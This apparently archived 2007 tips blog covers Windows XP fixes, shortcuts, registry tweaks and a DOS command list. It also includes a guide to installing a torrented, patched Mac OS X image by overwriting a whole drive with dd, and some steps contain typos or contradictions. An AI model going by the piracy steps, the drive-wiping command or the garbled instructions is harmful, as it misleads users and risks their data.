If you get an error that NTLDR is not found during bootup,

If you have FAT32 partitions, it is much simpler than with NTFS.
Just boot with a Win98 floppy and copy the NTLDR or NTDETECT.COM files
from the i386 directory to the root of the C:\ drive.

For NTFS:

Insert and boot from your WindowsXP CD.
At the first R=Repair option, press the R key
Press the number that corresponds to the correct location for the installation of Windows you want to repair.
Typically this will be #1
Enter in the administrator password when requested
Enter in the following commands (X: is replaced by the actual drive letter that is assigned to the CD ROM drive.
COPY X:\i386\NTLDR C\:
COPY X:\i386\NTDETECT.COM C:\
Take out the CD ROM and type exit

Lock Your System On Mouse Click

2007-11-21T02:47:00.001-08:00

Lock your System on Mouse Click

Feel hard to press CTRL+ALT+DEL to lock your machine ??????
Try this and create the icon to lock the machine.

1. Right click an empty spot on the desktop, point to New and click Shortcut.

2. In the Create Shortcut dialog box, type the following in the 'Type the location' of the item text box:

"rundll32 user32.dll,LockWorkStation" remove quotes while typing.

3. Click Next.

4. In "Type a name for this shortcut", type "" (any name as u wish) and Click Finish

5. Create a shortcut in your shortcut bar & use it

Trippling Your Download Speeds

2007-11-21T02:37:00.000-08:00

Here is how to triple ur speeds.

I went from 190kb/s up to 600kb/s so that should tell you something

If it damage your computer, I take no responsibility.
___________________________________________________________________________________________________

open notepad and paste the following

REGEDIT4
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]
"TcpWindowSize"=dword:faf0
"Tcp1323Opts"=dword:0

Save this file with the name tweak.reg

Right click and click install

Reboot ur comp for it to take effect
_________________________________________________________________________________
TO UNDO THE CHANGES
_________________________________________________________________________________

If you want to undo it, incase it messed u up,
COPY THE CODE BELLOW IN NOTEPAD
save the file u will make bellow in the name undo.inf

[Version]
signature=$CHICAGO$

[DefaultInstall]
DelReg=Delete_Reg_Entries

[Delete_Reg_Entries]
HKLM,System\CurrentControlSet\Services\Tcpip\Parameters,TcpWindowSize
HKLM,System\CurrentControlSet\Services\Tcpip\Parameters,Tcp1323Opts

Right click on undo.info and click install (to undo tweak)

Reboot ur comp for it to take effect

Many have tried it but it worked only for half of them

Ms-dos Commands

2007-11-21T02:33:00.001-08:00

Command Prompt
-------------------------------------------------------------------
ANSI.SYS - Defines functions that change display graphics, control cursor movement, and reassign keys.
APPEND - Causes MS-DOS to look in other directories when editing a file or running a command.
ARP - Displays, adds, and removes arp information from network devices.
ASSIGN - Assign a drive letter to an alternate letter.
ASSOC - View the file associations.
AT - Schedule a time to execute commands or programs.
ATMADM - Lists connections and addresses seen by Windows ATM call manager.
ATTRIB - Display and change file attributes.

BATCH - Recovery console command that executes a series of commands in a file.
BACKUP - Enables users to backup their data on their computer.
BOOTCFG - Recovery console command that allows a user to view, modify, and rebuild the boot.ini
BREAK - Enable / disable CTRL + C feature.

CACLS - View and modify file ACL's.
CALL - Calls a batch file from another batch file.
CD - Changes directories.
CHCP - Supplement the International keyboard and character set information.
CHDIR - Changes directories.
CHKDSK - Check the hard disk drive running FAT for errors.
CHKNTFS - Check the hard disk drive running NTFS for errors.
CHOICE - Specify a listing of multiple options within a batch file.
CLS - Clears the screen.
CMD - Opens the command interpreter.
COLOR - Easily change the foreground and background color of the MS-DOS window.
COMMAND - Opens the command interpreter.
COMP - Compares files.
COMPACT - Compresses and uncompress files.
CONTROL - Open control panel icons from the MS-DOS prompt.
CONVERT - Convert FAT to NTFS.
COPY - Copy one or more files to an alternate location.
CTTY - Change the computers input/output devices.

DATE - View or change the systems date.
DEBUG - Debug utility to create assembly programs to modify hardware settings.
DEFRAG - Re-arrange the hard disk drive to help with loading programs.
DEL - Deletes one or more files.
DELETE - Recovery console command that deletes a file.
DELTREE - Deletes one or more files and/or directories.
DIR - List the contents of one or more directory.
DISABLE - Recovery console command that disables Windows system services or drivers.
DISKCOMP - Compare a disk with another disk.
DISKPART - used to delete and create partitions.
DISKCOPY - Copy the contents of one disk and place them on another disk.
DOSKEY - Command to view and execute commands that have been run in the past.
DOSSHELL - A GUI to help with early MS-DOS users.
DRIVPARM - Enables overwrite of original device drivers.

ECHO - Displays messages and enables and disables echo.
EDIT - View and edit files.
EDLIN - View and edit files.
EMM386 - Load extended Memory Manager.
ENABLE - Recovery console command to enable a disable service or driver.
ENDLOCAL - Stops the localization of the environment changes enabled by the setlocal command.
ERASE - Erase files from computer.
EXIT - Exit from the command interpreter.
EXPAND - Expand a M*cro$oft Windows file back to it's original format.
EXTRACT - Extract files from the M*cro$oft Windows cabinets.

FASTHELP - Displays a listing of MS-DOS commands and information about them.
FC - Compare files.
FDISK - Utility used to create partitions on the hard disk drive.
FIND - Search for text within a file.
FINDSTR - Searches for a string of text within a file.
FIXBOOT - Writes a new boot sector.
FIXMBR - Writes a new boot record to a disk drive.
FOR - Boolean used in batch files.
FORMAT - Command to erase and prepare a disk drive.
FTP - Command to connect and operate on a FTP server.
FTYPE - Displays or modifies file types used in file extension associations.

GOTO - Movesa batch file to a specific label or location.
GRAFTABL - Show extended characters in graphics mode.

HELP - Display a listing of commands and brief explanation.
HOSTNAME -Display the hostname of the machine.

IF - Allows for batch files to perform conditional processing.
IFSHLP.SYS - 32-bit file manager.
IPCONFIG - Network command to view network adapter settings and assigned values.

KEYB - Change layout of keyboard.

LABEL - Change the label of a disk drive.
LH - Load a device driver in to high memory.
LISTSVC - Recovery console command that displays the services and drivers.
LOADFIX - Load a program above the first 64k.
LOADHIGH - Load a device driver in to high memory.
LOCK - Lock the hard disk drive.
LOGON - Recovery console command to list installations and enable administrator login.

MAP - Displays the device name of a drive.
MD - Command to create a new directory.
MEM - Display memory on system.
MKDIR - Command to create a new directory.
MODE - Modify the port or display settings.
MORE - Display one page at a time.
MOVE - Move one or more files from one directory to another directory.
MSAV - Early M*cro$oft Virus scanner.
MSBACKUP -MS-DOS application that enables users to backup their data on their computer.
MSD - Diagnostics utility.
MSCDEX - Utility used to load and provide access to the CD-ROM.
MWBACKUP - MS-DOS application that enables users to backup their data on their computer.

NBTSTAT - Displays protocol statistics and current TCP/IP connections using NBT
NET - Update, fix, or view the network or network settings
NETSH - Configure dynamic and static network information from MS-DOS.
NETSTAT - Display the TCP/IP network protocol statistics and information.
NLSFUNC - Load country specific information.
NSLOOKUP - Look up an IP address of a domain or host on a network.

PATH - View and modify the computers path location.
PATHPING - View and locate locations of network latency.
PAUSE - Command used in batch files to stop the processing of a command.
PING - Test / send information to another network computer or network device.
POPD - Changes to the directory or network path stored by the pushd command.
POWER - Conserve power with computer portables.
PRINT - Prints data to a printer port.
PROMPT - View and change the MS-DOS prompt.
PUSHD - Stores a directory or network path in memory so it can be returned to at any time.

QBASIC - Open the QBasic.

RD - Removes an empty directory.
REN - Renames a file or directory.
RENAME - Renames a file or directory.
RMDIR - Removes an empty directory.
ROUTE - View and configure windows network route tables.
RUNAS - Enables a user to execute a program on another computer.

SCANDISK - Run the scandisk utility.
SCANREG - Scan registry and recover registry from errors.
SET - Change one variable or string to another.
SETLOCAL - Enables local environments to be changed without affecting anything else.
SETVER - Change MS-DOS version to trick older MS-DOS programs.
SFC - Scans and replaces any M*cro$oft Windows file on the computer and replaces any changed file with the correct version
SHARE - Installs support for file sharing and locking capabilities.
SHIFT - Changes the position of replaceable parameters in a batch program.
SHUTDOWN - Shutdown the computer from the MS-DOS prompt.
SMARTDRV - Create a disk cache in conventional memory or extended memory.
SORT - Sorts the input and displays the output to the screen.
START - Start a separate window in Windows from the MS-DOS prompt.
SUBST - Substitute a folder on your computer for another drive letter.
SWITCHES - Remove add functions from MS-DOS.
SYS - Transfer system files to disk drive.
SYSTEMINFO - Displays complete system information for M*cro$oft Windows XP Professional computers.
SYSTEMROOT - The systemroot command is a recovery console command that sets the current directory as the system root directory.

TELNET - Telnet to another computer / device from the prompt.
TIME - View or modify the system time.
TITLE - Change the title of their MS-DOS window.
TRACERT - Visually view a network packets route across a network.
TREE - View a visual tree of the hard disk drive.
TYPE - Display the contents of a file.

UNDELETE - Undelete a file that has been deleted.
UNFORMAT - Unformat a hard disk drive.
UNLOCK - Unlock a disk drive.

VER Display - the version information.
VERIFY - Enables or disables the feature to determine if files have been written properly.
VOL - Displays the volume information about the designated drive.

XCOPY - Copy multiple files, directories, and/or drives from one location to another.

Guide To Installing Mac Os X On A Pc

2007-11-21T01:58:00.000-08:00

Let's start by checking if you have a capable processor. After downloading /http://www.cpuid.org/cpuz.php, open it and view the "instructions." My particular so called testing machine hosts a Northwood Pentium 4 which has MMX, SSE and SSE2 but not SSE3, that's fine, you can always patch Mac OS later to run programs that require SSE3 with SSE2. Just make sure you have at least SSE2.

How do you do it?

First of all, you can’t install OS X on a new partition, it needs it’s own drive. For this guide Im installing it on my Sony Vaio TR2A. Since I only have one harddrive, it means I’m wiping windows and all my files in the process. You can easily follow the same steps but instead install it on a second harddrive in your PC. Here is how I have succesfully install OS X x86 NATIVELY on my laptop!

First of all, I think your CPU needs at LEAST sse2. For rosetta and to get itunes and other ppc apps working, you need sse3. My vaio has a Pentuim M, so no rosetta for me. Everything else works. Im posting this from the OS X x86 port of Firefox Wink

1. Download “VMWare files for patched Mac OS X Tiger Intel” from your favorite torrent site. (Hint: Use the search function).

2. Copy tiger-x86-flat.img from the archive to an external USB drive (it’s 6gb)

3. Download Ubuntu Live CD (link) … be sure you get the “Live CD”!!

4. Burn the ubuntu iso, stick it in your pc, and boot it! (make sure you have your bios set to boot to CD)

5. Once ubuntu boots and the gui finally comes up, hook up the USB drive you copied the 6gb image to. A window should pop up showing the contents of the drive. Take note of where its mounted. It should be /Devices/Yourdrivesvolumename

6. Open a terminal window and cd to that directory (/Devices/Yourdrivesvolumename). Do an “ls” to make sure you are in the right place (you should see the 6gb img file.

7. In the terminal window type:

dd bs=1048576 if=./tiger-x86-flat.img of=/dev/hda

Replace hda with the correct drive! If you only have one drive, its probably hda. Thats what mine was. You are about to erase this entire drive so make sure youve got it right and make sure you want to do this! Hit enter. It takes a while… took my vaio about 9 minutes.

8. When it’s done, remove the ubuntu disc and shut down the pc. Disconnect your usb drive. Thats it! When you power it back on, OS X should boot!

For whatever reason, mine hangs when its loading. If this happens to you, boot with the -x option (hit a button at the darwin screen when you boot your pc. enter “-x” and hit enter). Should work without any problems, and I dont see any restrictions being in safe mode.

You’ll notice there is a login screen, and you dont know the password! This image was created by “deadmoo” and we can easily change his password. Reboot the machine again. Again, hit a button at the darwin screen. This time type “-v” and hit enter. At the command prompt screen type:

sh /bin/sh
passwd curtis
(change the password to what you like)

passwd deadmoo
(change the passwrod to what you like)

Done! Now reboot once more, and again use the “-x” option. Everything should boot, and at the login screen enter your new password.

WELCOME TO THE OS X x86 CLUB!

Note: If you are installing this in a PC and have multiple drives, you dont need to use an external drive or linux distro. Simply dd the image in the same manner to any physical drive in your pc, and when its done boot to that drive and it should work.

This is not my guide, So use at your own risk like any other guides

Disable Ballon Tips

2007-11-21T01:57:00.000-08:00

To disable balloon tips in Windows XP do this registry tweak

Go to : HKEY_CURRENT_USER\Software\M*cro$oft\Windows\CurrentVersion\Explorer\Advanced

Create a new DWORD value, name it EnableBalloonTips, and set it equal to 0. If EnableBalloonTips is already there and equal to 1, set it equal to 0. Quit the registry editor, log off, and log back on. Voila! Your computer will stop talking down to you.

PC Maintenance Guide

2007-11-21T01:56:00.000-08:00

Goto:

http://www.techtree.com/India/PC_Maintenance_Guide/551-56391-560-1.html

Create Nameless Files And Folders In Windows

2007-11-21T01:53:00.000-08:00

This trick will allow you to create files and folders without any name.

Just follow the following steps:

1.Select any file or folder.
2.Right click on it,press rename or simply press F2.
3.Press and hold the alt key.While holding the Alt key,type numbers 0160 from the numpad.

Note:Type the numbers 0160 from the numpad,that is,the numbers present on the right side of the keyboard.Dont type the numbers which are present on top of the character keys.

4.Press Enter and the nameless file or folder will be created.

Reason:The file or folder that seems nameless is actually named with a single space.

But what if you want to create another nameless file or folder in the same directory ?

For this you will have to rename the file with 2 spaces.Just follow these steps below:

1.Select file,press F2.
2.Hold alt key and type 0160 from the numpad.
3.Release the alt key.Now without doing anything else,again hold alt key and press 0160.
4.Press enter and you will have second nameless file in the same directory.
5.Repeat step 3 to create as many nameless files or folders in the same directory.

How To Fool A Keylogger

2007-11-21T01:52:00.000-08:00

These days Agents spy on u everywhere, in college, at work, maybe a trojan virus on your home PC which keylogs your passwords and mails it to someone else. If u think u r being logged, try this:

Whenever u have to type a password, never type the complete password in one go, ie, if your password is WINDOWS, u should type NDOW, then move cursor to start of the password field using the mouse ONLY, then type WI, then move cursor to end using the mouse and type S. This way the logger will record your keystrokes as ndowwis instead of WINDOWS. Haha, keylogger fooled.

Internet Connection SpeedoMeter Online Internet Speed Test

2007-11-21T01:05:00.000-08:00

Goto:

http://us.mcafee.com/root/speedometer/test_0150.asp

All Keyboard Shortcuts XP

2007-11-21T00:58:00.001-08:00

Getting used to using your keyboard exclusively and leaving your mouse behind will make you much more efficient at performing any task on any Windows system. I use the following keyboard shortcuts every day:

Windows key + R = Run menu

This is usually followed by:
cmd = Command Prompt
iexplore + "web address" = Internet Explorer
compmgmt.msc = Computer Management
dhcpmgmt.msc = DHCP Management
dnsmgmt.msc = DNS Management
services.msc = Services
eventvwr = Event Viewer
dsa.msc = Active Directory Users and Computers
dssite.msc = Active Directory Sites and Services
Windows key + E = Explorer

ALT + Tab = Switch between windows

ALT, Space, X = Maximize window

CTRL + Shift + Esc = Task Manager

Windows key + Break = System properties

Windows key + F = Search

Windows key + D = Hide/Display all windows

CTRL + C = copy

CTRL + X = cut

CTRL + V = paste

Also don't forget about the "Right-click" key next to the right Windows key on your keyboard. Using the arrows and that key can get just about anything done once you've opened up any program.

Keyboard Shortcuts

[Alt]and [Esc] Switch between running applications

[Alt] and letter Select menu item by underlined letter

[Ctrl] and [Esc] Open Program Menu

[Ctrl] and [F4] Close active document or group windows (does not work with some applications)

[Alt] and [F4] Quit active application or close current window

[Alt] and [-] Open Control menu for active document

Ctrl] Lft., Rt. arrow Move cursor forward or back one word

Ctrl] Up, Down arrow Move cursor forward or back one paragraph

[F1] Open Help for active application

Windows+M Minimize all open windows

Shift+Windows+M Undo minimize all open windows

Windows+F1 Open Windows Help

Windows+Tab Cycle through the Taskbar buttons

Windows+Break Open the System Properties dialog box

Acessability shortcuts

Right SHIFT for eight seconds........ Switch FilterKeys on and off.

Left ALT +left SHIFT +PRINT SCREEN....... Switch High Contrast on and off.

Left ALT +left SHIFT +NUM LOCK....... Switch MouseKeys on and off.

SHIFT....... five times Switch StickyKeys on and off.

NUM LOCK...... for five seconds Switch ToggleKeys on and off.

Explorer shortcuts

END....... Display the bottom of the active window.

HOME....... Display the top of the active window.

NUM LOCK+ASTERISK....... on numeric keypad (*) Display all subfolders under the selected folder.

NUM LOCK+PLUS SIGN....... on numeric keypad (+) Display the contents of the selected folder.

NUM LOCK+MINUS SIGN....... on numeric keypad (-) Collapse the selected folder.

LEFT ARROW...... Collapse current selection if it's expanded, or select parent folder.

RIGHT ARROW....... Display current selection if it's collapsed, or select first subfolder.

Type the following commands in your Run Box (Windows Key + R) or Start Run

devmgmt.msc = Device Manager
msinfo32 = System Information
cleanmgr = Disk Cleanup
ntbackup = Backup or Restore Wizard (Windows Backup Utility)
mmc = M*cro$oft Management Console
excel = M*cro$oft Excel (If Installed)
msaccess = M*cro$oft Access (If Installed)
powerpnt = M*cro$oft PowerPoint (If Installed)
winword = M*cro$oft Word (If Installed)
frontpg = M*cro$oft FrontPage (If Installed)
notepad = Notepad
wordpad = WordPad
calc = Calculator
msmsgs = Windows Messenger
mspaint = M*cro$oft Paint
wmplayer = Windows Media Player
rstrui = System Restore
netscp6 = Netscape 6.x
netscp = Netscape 7.x
netscape = Netscape 4.x
waol = America Online
control = Opens the Control Panel
control printers = Opens the Printers Dialog

Internetbrowser

type in u're adress "google", then press [Right CTRL] and [Enter]
add www. and .com to word and go to it

For Windows XP:

Copy. CTRL+C
Cut. CTRL+X
Paste. CTRL+V
Undo. CTRL+Z
Delete. DELETE
Delete selected item permanently without placing the item in the Recycle Bin. SHIFT+DELETE
Copy selected item. CTRL while dragging an item
Create shortcut to selected item. CTRL+SHIFT while dragging an item
Rename selected item. F2
Move the insertion point to the beginning of the next word. CTRL+RIGHT ARROW
Move the insertion point to the beginning of the previous word. CTRL+LEFT ARROW
Move the insertion point to the beginning of the next paragraph. CTRL+DOWN ARROW
Move the insertion point to the beginning of the previous paragraph. CTRL+UP ARROW
Highlight a block of text. CTRL+SHIFT with any of the arrow keys
Select more than one item in a window or on the desktop, or select text within a document. SHIFT with any of the arrow keys
Select all. CTRL+A
Search for a file or folder. F3
View properties for the selected item. ALT+ENTER
Close the active item, or quit the active program. ALT+F4
Opens the shortcut menu for the active window. ALT+SPACEBAR
Close the active document in programs that allow you to have multiple documents open simultaneously. CTRL+F4
Switch between open items. ALT+TAB
Cycle through items in the order they were opened. ALT+ESC
Cycle through screen elements in a window or on the desktop. F6
Display the Address bar list in My Computer or Windows Explorer. F4
Display the shortcut menu for the selected item. SHIFT+F10
Display the System menu for the active window. ALT+SPACEBAR
Display the Start menu. CTRL+ESC
Display the corresponding menu. ALT+Underlined letter in a menu name
Carry out the corresponding command. Underlined letter in a command name on an open menu
Activate the menu bar in the active program. F10
Open the next menu to the right, or open a submenu. RIGHT ARROW
Open the next menu to the left, or close a submenu. LEFT ARROW
Refresh the active window. F5
View the folder one level up in My Computer or Windows Explorer. BACKSPACE
Cancel the current task. ESC
SHIFT when you insert a CD into the CD-ROM drive Prevent the CD from automatically playing.

Use these keyboard shortcuts for dialog boxes:

To Press
Move forward through tabs. CTRL+TAB
Move backward through tabs. CTRL+SHIFT+TAB
Move forward through options. TAB
Move backward through options. SHIFT+TAB
Carry out the corresponding command or select the corresponding option. ALT+Underlined letter
Carry out the command for the active option or button. ENTER
Select or clear the check box if the active option is a check box. SPACEBAR
Select a button if the active option is a group of option buttons. Arrow keys
Display Help. F1
Display the items in the active list. F4
Open a folder one level up if a folder is selected in the Save As or Open dialog box. BACKSPACE

If you have a M*cro$oft Natural Keyboard, or any other compatible keyboard that includes the Windows logo key and the Application key , you can use these keyboard shortcuts:

Display or hide the Start menu. WIN Key
Display the System Properties dialog box. WIN Key+BREAK
Show the desktop. WIN Key+D
Minimize all windows. WIN Key+M
Restores minimized windows. WIN Key+Shift+M
Open My Computer. WIN Key+E
Search for a file or folder. WIN Key+F
Search for computers. CTRL+WIN Key+F
Display Windows Help. WIN Key+F1
Lock your computer if you are connected to a network domain, or switch users if you are not connected to a network domain. WIN Key+ L
Open the Run dialog box. WIN Key+R
Open Utility Manager. WIN Key+U

accessibility keyboard shortcuts:

Switch FilterKeys on and off. Right SHIFT for eight seconds
Switch High Contrast on and off. Left ALT+left SHIFT+PRINT SCREEN
Switch MouseKeys on and off. Left ALT +left SHIFT +NUM LOCK
Switch StickyKeys on and off. SHIFT five times
Switch ToggleKeys on and off. NUM LOCK for five seconds
Open Utility Manager. WIN Key+U

shortcuts you can use with Windows Explorer:

Display the bottom of the active window. END
Display the top of the active window. HOME
Display all subfolders under the selected folder. NUM LOCK+ASTERISK on numeric keypad (*)
Display the contents of the selected folder. NUM LOCK+PLUS SIGN on numeric keypad (+)
Collapse the selected folder. NUM LOCK+MINUS SIGN on numeric keypad (-)
Collapse current selection if it's expanded, or select parent folder. LEFT ARROW
Display current selection if it's collapsed, or select first subfolder. RIGHT ARROW

How To Hack/change Your Windows Xp Boot Screen

2007-11-21T00:53:00.001-08:00

How to hack/change your Windows XP Boot Screen

This is a very simple trick to do if you have done the same for the logon screen and the start button. There are 2 ways to do this trick that I know about one is doing it manually and the other is using a program called bootxp. I am going to tell you the manual way to do it, but if you want to know the other way just let me know, so I can do an update to the guide. Now once you have downloaded your ntoskrnl.exe file save it a general location so that you will have easy access to it, like my folder.

Once you have ntoskrnl.exe file in an easy access folder, restart your pc into safe mode. Once into safe mode go to the folder where your files are located.

Now that you are there copy the file that you want to change your boot screen too. Once you have copied that file, hit the window key + r or type %windir%\system32 in the run command, so that folder as follows.

Once there paste your new file into the folder and overwrite the existing folder.

Now that you have your new file in the folder restart your pc as you normally would and your new boot screen should appear. You can download this bootscreen here.

ALWAYS BACKUP EVERYTHING YOU EDIT OR DELETE. I'M NOT RESPONSIBLE IF YOU MESS YOUR COMPUTER UP BY DOING THIS HACK OR ANY TYPE OF HACK. DO IT AT YOUR OWN RISK.

Image and ntoskrnl.exe files provided by www.themexp.org

or
u can go to

code:

http://www.overclockersclub.com/guides/hackxpbootscreen.php

The 7 Hidden Pages Within Your Firefox Browser

2007-11-21T00:33:00.001-08:00

I found myself staring at the “about:blank” parameter for an IE installation today, and that got me thinking if it works in other browsers too. It did. I’m using Firefox, and that cleared the address bar to a blank. And then I figured the developers HAD to include some more address bar commands and started looking them up. Here’s what I found:

about: A simple prompt without any parameter will display the Mozilla “about” information. Since it’s accessible from the top menus as well, it’s not quite a hidden feature.

about:buildconfig Obviously, it will show the build platform configuration and parameters

about:cache Will display info and statistics regarding your disk’s cache, including the name of your cache’s directory and a list of the entries you can find there. By default, Firefox doesn’t allow you to view the cached webpages, so this can be an useful option.

about:config Oh look, many many info. Indeed, it’s the most complex and meaningful of them all. Careful on what you plan to change here, your browser won’t run properly after if you play with the wrong things.

about:plugins Of course, what is Firefox without it’s powerful extensions? This option will display detailed information about all the plugins installed for Mozilla Firefox.

about:credits It’s time to give the credit to whoever deserves it. There’s an alphabetically sorted list of all the people that gave their contribution to the development of Firefox.

about:Mozilla This is a weird thing. It will display the so-called “Book of Mozilla”. Something similar was present in Netscape too. There’s actually no real book although the quotations might give you that impression.

Have fun browsing through your browser’s internal features.

Access Stored User Names And Passwords, Xp Users

2007-11-21T00:26:00.000-08:00

Access Stored User Names and Passwords

Windows XP related

Access Stored User Names and Passwords with rundll32.exe in Windows XP

1. Click on START - RUN Type

rundll32.exe keymgr.dll,KRShowKeyMgr

2. Press Enter

njoyyyyyyy

Alt-shift-print Screen - A Scary Keybrd Shortcut For Windows

2007-11-21T00:25:00.001-08:00

The Print Screen key [PrtScn] takes a snapshot of the entire computer screen and copies it to the Windows Clipboard. Hold down Alt and press the Print Scrn key to capture just the active window.

So far so good. Now try this combination - Press Alt, Shift and Print Screen together. And don't worry, you can always restore your previous desktop theme by pressing the same keyboard shortcut again.

Auto Login Windows Xp Without Typing Password

2007-11-21T00:24:00.001-08:00

It's a very short tip I'd like to share with you all on how to auto login to your Windows XP when you startup your computer. Here's an example for you to understand better.

Every time you start your computer, you're prompted to enter password in order to login to Windows. You find this irritating when no one else is using your computer that is sitting at home.

Just follow a few simple steps below and you won't be bothered by this login prompt every again!

1. Click on your Start button.

2. Go to "Run"

3. Type "control userpasswords2" and click OK button.

4. A User Account dialog box will appear. Uncheck "Users must enter a user name and password to use this computer." and click OK button.

5. Another dialog box will appear asking you to type in the DEFAULT user account that you'd like to login whenever you start your computer. Type in the user name and password. You only need to do this once.

That's it. Only requires 5 steps to automatically login Windows XP. Please take note that this only works if you're trying to login locally. This feature allows other users to start your computer and use the account that you establish to automatically log on. Enabling auto logon makes your computer more convenient to use, but can pose a security risk since anyone can just turn the machine on and access your files. So be VERY sure that no one else has physical access to your computer.

Spoolsv.exe At 99% Cpu Usage

2007-11-21T00:22:00.000-08:00

Do u think ur computer is acting very slowly. When this happens, mostly it is due to spywares. The first thing I'd do when a computer is running really slow is I run the Windows Task Manager and check which image name is using up all the CPU resources. I found out that an executable file called spoolsv.exe is at 99% usage all the time and never goes down. I tried ending the spoolsv.exe process but after a few seconds, spoolsv.exe automatically runs in background and start hogging on the CPU usage.

From the file name, I could guess that most probably it had something to do with printer spool. I searched around the Internet about spoolsv.exe and it's not a virus. spoolsv.exe is the spooler service responsible for managing spooled print/fax jobs. After a while, I manage to find a way to solve the spoolsv.exe from shooting up to 99% cpu usage problem.

It is advised to turn on the Print Spooler service first. You can do it from Control Panel -> Administrative Tools -> Services. Look for Print Spooler and stop it.
If it is already stopped, just follow the next step.

Delete ALL files in C:\WINDOWS\system32\spool\PRINTERS. It should have files something like 00020.SHD, 00020.SPL and etc...

Now spoolsv.exe should run but it's at 0% CPU usage

How to Write a Windows XP Driver

2007-11-20T23:56:00.000-08:00

Source: Microsoft Corporation July 2001

Summary: This document describes the steps you should take to create a Microsoft® Windows® XP driver for your device. To create a Windows XP device driver:

Install the current Windows DDK. Read the system requirements and installation instructions in the stand-alone Getting Started HTML file supplied with the DDK.
Read Getting Started with Windows Drivers. This document guides you through the planning and decision-making process involved in making a Windows device driver from design through distribution. You should also look through the DDK documentation for device-type-specific information.

The DDK documentation set has the following device-type-specific nodes:

Battery Devices
Display and Print Devices
IEEE 1284.4 Devices
Interactive Input Devices
Modem Devices
Multifunction Devices
Network Devices and Protocols
Parallel Ports and Devices
Serial Ports and Devices
Smart Card Devices
Still Image Devices
Storage Devices
Streaming Devices (Video and Audio)
Devices Requiring VDDs

IDE bus are described in System Support for Buses. Driver development for most device types also requires a strong understanding of Windows operating system fundamentals, which are described in Kernel-Mode Driver Architecture.
Look through the driver source code provided with the DDK for a sample that represents your device type. Use the sample code where possible, modifying it for your device's specifics.
The sample code can enhance your understanding of Windows XP driver implementation requirements and speed your development time.
Compile and build your driver. This should be done using the Build utility and not some other compiler, because the Build utility has certain features that are necessary for driver development.
Obtain a checked build of Windows XP, so that you can test and debug your driver using free and checked system builds.
The checked build of Windows XP provides extensive kernel-mode debugging capabilities not available in the free build.
Create an INF file so that you can install and test your driver.
Test and debug your driver. You should use Driver Verifier, a program that puts your driver through a variety of tests, stresses, and deliberate failures in order to test its response and reliability in many extreme situations. You should also use a debugger. Microsoft provides several powerful debuggers that can monitor and debug kernel-mode and user-mode drivers.
Using Driver Verifier in conjunction with these debuggers, on both the checked and free versions of the operating system, can be a powerful way to test your driver.
Provide an installation package so that customers can install devices that use your driver.
Submit your driver and installation package to Microsoft so that it can be digitally signed.

There are many resources available to you while developing your driver. The following sites describe some of the support available to you:

http://www.microsoft.com/ddk describes how to obtain the current DDK and provides other information, such as a driver development reading list.
http://www.microsoft.com/hwdev provides information, such as device-type-specific white papers and late-breaking news, and a list of resources available to driver developers.
http://support.microsoft.com/support/ddk contains DDK product support information.

Classic Search Style (kill The Dog, Done Right)

2007-11-20T23:31:00.000-08:00

In order to remove the annoying and useless search dog all you need to do is add one simple registry key. Regedit your way to:

HKEY_CURRENT_USER\Software\Mcft\Windows\CurrentVersion\Explorer\CabinetState

Right-click an empty space in the right pane and select New > String Value

Name the new value Use Search Asst

Double-click this new value, and enter no as it's value data

Get The Windows Vista Look On Xp, without using any system resources

2007-11-20T23:30:00.000-08:00

For all the Xp users here is something you will love.

You don't want to spend on Windows Vista and you are in no mood of changing your Operating system(or your pc doesn't have the recommended configuration to run vista).Well, whatever the reason maybe here is an amazing software that will give your Xp the Vista look.

So Get StyleXp to make your Xp look like Vista with various themes, visual styles, wallpapers, logons, bootscreens, icons, cursors and explorer bar.Change to the new style and experience the ultimate audio,visual and image enhancements.

And one more good news,StyleXp does NOT slow down your pc.There is an option 'Use no resources' ,which instructs StyleXp not to use your system resources at all,thereby enhancing performance at no cost.

How do you like the software.Please comment.
It is worth giving a try.

http://download.tgtsoft.com/StyleXPInstallMale.zip

Remote Shutdown Using Xp

2007-11-20T23:24:00.000-08:00

XP PRO has a lot of fun utilities. One of the most useful ones I have found to date is the ability to remotely reboot a PC. You will need to have admin access to the PC to preform these actions.

Right click my computer, choose manage.
Highlight the Computer Management (Local) then click on Action, choose connect to another computer.
In the window that opens fill in the machine name of the PC you want to connect to and click ok.
Once connected right click on Computer Management (Remote machine name) and choose properties.
Go to the "Advanced" tab and click the Settings button under Start up and recovery.
Click on the Shutdown button.
Under action choose what you want to do (you can log off current user, shut down, restart, or power down. you can also choose if you want to force all applications to close, close hung apps, or wait for all apps to close by themselves).

Lift of error messages Code Detail

2007-11-20T23:19:00.000-08:00

Code Error Message
0 The operation completed successfully.
1 Incorrect function.
2 The system cannot find the file specified.
3 The system cannot find the path specified.
4 The system cannot open the file.
5 Access is denied.

continued

2519 A second connection to a Remoteboot resource is not allowed.
2550 The browser service was configured with MaintainServerList=No.
2610 Service failed to start since none of the network adapters started with this service.
2611 Service failed to start due to bad startup information in the registry.
2612 Service failed to start because its database is absent or corrupt.
2613 Service failed to start because RPLFILES share is absent.
2614 Service failed to start because RPLUSER group is absent.
2615 Cannot enumerate service records.
2616 Workstation record information has been corrupted.
2617 Workstation record was not found.
2618 Workstation name is in use by some other workstation.
2619 Profile record information has been corrupted.
2620 Profile record was not found.
2621 Profile name is in use by some other profile.
2622 There are workstations using this profile.
2623 Configuration record information has been corrupted.
2624 Configuration record was not found.
2625 Adapter id record information has been corrupted.
2626 An internal service error has occurred.
2627 Vendor id record information has been corrupted.
2628 Boot block record information has been corrupted.
2629 The user account for this workstation record is missing.
2630 The RPLUSER local group could not be found.
2631 Boot block record was not found.
2632 Chosen profile is incompatible with this workstation.
2633 Chosen network adapter id is in use by some other workstation.
2634 There are profiles using this configuration.
2635 There are workstations, profiles or configurations using this boot block.
2636 Service failed to backup Remoteboot database.
2637 Adapter record was not found.
2638 Vendor record was not found.
2639 Vendor name is in use by some other vendor record.
2640 (boot name, vendor id) is in use by some other boot block record.
2641 Configuration name is in use by some other configuration.
2660 The internal database maintained by the Dfs service is corrupt
2661 One of the records in the internal Dfs database is corrupt
2662 There is no volume whose entry path matches the input Entry Path
2663 A volume with the given name already exists
2664 The server share specified is already shared in the Dfs
2665 The indicated server share does not support the indicated Dfs volume
2666 The operation is not valid on a non-leaf volume
2667 The operation is not valid on a leaf volume
2668 The operation is ambiguous because the volume has multiple servers
2669 Unable to create a junction point
2670 The server is not Dfs Aware
2671 The specified rename target path is invalid
2672 The specified Dfs volume is offline
2673 The specified server is not a server for this volume
2674 A cycle in the Dfs name was detected
